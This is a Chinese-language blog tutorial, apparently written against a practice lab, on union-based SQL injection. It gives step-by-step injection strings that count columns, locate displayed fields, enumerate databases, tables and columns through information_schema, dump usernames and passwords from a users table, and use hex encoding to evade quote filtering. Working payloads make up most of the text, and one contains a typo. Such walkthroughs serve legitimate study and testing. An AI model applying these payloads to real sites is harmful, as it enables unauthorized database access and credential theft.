sql-联合查询

查询当前数据表中列数

id=1' order by 4--+

在这里插入图片描述

联合查询注入数据库

显示回显位置

id=-1' union select 1,2,3--+ 
注意:这里显示回显位置为第二列和第三列,因此在第一列进行操作时不会产生回显。

在这里插入图片描述

查询当前数据库名称,当前连接数据库使用者,以及数据库版本号。

id=-1’ union select 1,2,(select databaes())--+
id=-1’ union select 1,(select user()),3--+
注意:
1.用联合查询进行注入则:页面必须有显示位。
2.union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同

在这里插入图片描述

查数据库名

group_concat 一次性全部显示:id=-1'union select 1,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),3--+
limit 一个一个打印出来库名:id=-1'union select 1,(select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),3--+ 

在这里插入图片描述
在这里插入图片描述

查数据表

limit 一个一个打印出来字段名:union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),3--+
group_concat 一次性全部显示:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x7365637572697479(这里security的16进制数为7365637572697479)
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

在这里插入图片描述

在这里插入图片描述

查数据表中的列

limit 一个一个打印出来:union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME=‘users’ limit 0,1),3--+
group_concat 一次性全部显示: union select 1,(select  group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3--+

l
在这里插入图片描述
在这里插入图片描述

查找列中的数据

limit 一个一个打印出来:
union select 1,(select concat_ws(0x23,username,password) from security.users limit 0,1),3--+
group_concat 把 一次性全部打印:
union select 1,(select group_concat(concat_ws(0x23,username,password))from security.users) ,3 from users--+

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值